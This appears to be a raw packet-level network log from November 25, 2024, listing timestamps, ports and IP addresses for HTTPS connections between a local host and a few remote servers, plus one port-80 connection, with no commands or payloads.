Nov 25, 2024 05:46:21.784301043 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.784367085 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784413099 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784435987 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.784450054 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.784495115 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.784573078 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785022020 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785075903 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785115957 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785120964 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785161018 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785161018 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785173893 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785221100 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785243988 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785258055 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785310030 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785310030 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785311937 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785367012 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785403967 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785408974 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785454988 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785454988 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785892963 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785902977 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785907984 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785959005 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.785981894 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.785985947 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.786000967 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786024094 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786036968 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.786047935 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786047935 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786088943 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786310911 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.786355019 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.786367893 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.786375999 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786382914 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.786391973 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.786425114 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786429882 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.786464930 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786464930 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786483049 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786529064 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.786958933 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.786998987 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787035942 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.787050009 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787076950 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.787097931 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.787242889 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787259102 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787399054 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787411928 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.787419081 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787437916 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787458897 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.787472010 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787509918 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.787516117 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.787516117 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.787543058 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.787893057 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787909031 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787965059 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.787970066 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.787991047 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788003922 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788125038 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788142920 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788165092 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788180113 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788184881 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788209915 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788223028 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788227081 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788255930 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788255930 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788295984 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788499117 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788784027 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788794041 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788801908 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788810968 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788857937 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788862944 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788897038 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788902044 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788902044 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788917065 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.788952112 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.788959026 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.789222956 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.789243937 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.789283991 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.789295912 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.789324999 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.789341927 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.789381027 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.789426088 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.789458036 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.789463997 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.789488077 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.789531946 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790132046 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790154934 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790200949 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790227890 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790260077 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790301085 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790316105 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790319920 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790322065 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790333033 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790354967 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790359020 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790394068 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790400028 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790429115 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790431023 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790441990 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790654898 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790697098 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790716887 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790731907 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790765047 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790766001 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790796041 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790813923 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790854931 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790868044 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.790899992 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.790920973 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.791198969 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.791218996 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.791237116 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.791265011 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.791276932 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.791279078 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.791306019 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.791316986 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.791328907 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.791341066 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.791385889 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.791393995 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.791948080 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.791991949 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792017937 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792026997 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792074919 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792074919 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792114019 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792129993 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792174101 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792186022 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792187929 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792206049 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792234898 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792267084 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792273998 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792278051 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792318106 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792318106 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792424917 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792458057 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792475939 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792505026 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792521954 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792536020 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792543888 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792560101 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.792608023 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.792624950 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793060064 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793068886 CET	443	49707	173.222.162.64	192.168.2.6
Nov 25, 2024 05:46:21.793081045 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793134928 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793173075 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793174982 CET	49707	443	192.168.2.6	173.222.162.64
Nov 25, 2024 05:46:21.793190002 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793226004 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793240070 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793245077 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793267965 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793279886 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793314934 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793327093 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793350935 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793390989 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793423891 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793436050 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793462038 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793482065 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793565035 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793603897 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793641090 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793653011 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.793680906 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.793700933 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.794235945 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.794253111 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.794336081 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.794348955 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.794403076 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.904664993 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.904712915 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.904773951 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.904787064 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.904815912 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.904843092 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.905415058 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.905446053 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.905519962 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.905534983 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.905565977 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.905678988 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.905816078 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.905841112 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.905899048 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.905906916 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.905919075 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.905957937 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.906636953 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.906655073 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.906727076 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.906739950 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.906780005 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.906801939 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.907341003 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.907386065 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.907435894 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.907444000 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.907476902 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.907490969 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.915040970 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.915086031 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.915127039 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.915127993 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.915137053 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.915152073 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.915177107 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.915200949 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.915214062 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.915241003 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.915261030 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.915266991 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.916688919 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.916707993 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.916805029 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.916811943 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.916953087 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.919184923 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.919209003 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.919225931 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.919228077 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.919307947 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.919321060 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.919356108 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.919356108 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.919372082 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.919380903 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.919380903 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.919481993 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.924669981 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.924710989 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.924758911 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.924765110 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.924793005 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.924818993 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.925705910 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.925766945 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.925796032 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.925808907 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.925858974 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.925858974 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.926080942 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.926101923 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.926161051 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.926167965 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.926183939 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.926521063 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.929400921 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.929441929 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.929497004 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.929505110 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.929527998 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.929541111 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.932240963 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.932256937 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.932316065 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:21.932347059 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.932374001 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.932406902 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:21.932426929 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.934335947 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.934353113 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.934401035 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.934413910 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.934444904 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.934444904 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.934854984 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.934916019 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.934932947 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.934947014 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.934979916 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.935002089 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.935792923 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.935842037 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.935856104 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.935877085 CET	443	49727	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.935913086 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.935913086 CET	49727	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.939510107 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.939553022 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.939596891 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.939609051 CET	443	49728	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.939621925 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.939831972 CET	49728	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.944190979 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.944205999 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.944268942 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.944283009 CET	443	49726	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.944370031 CET	49726	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.944407940 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.944425106 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.944483995 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.944497108 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.944535017 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.944535017 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.945406914 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.945432901 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.945480108 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.945492983 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:21.945543051 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:21.945543051 CET	49729	443	192.168.2.6	150.171.27.10
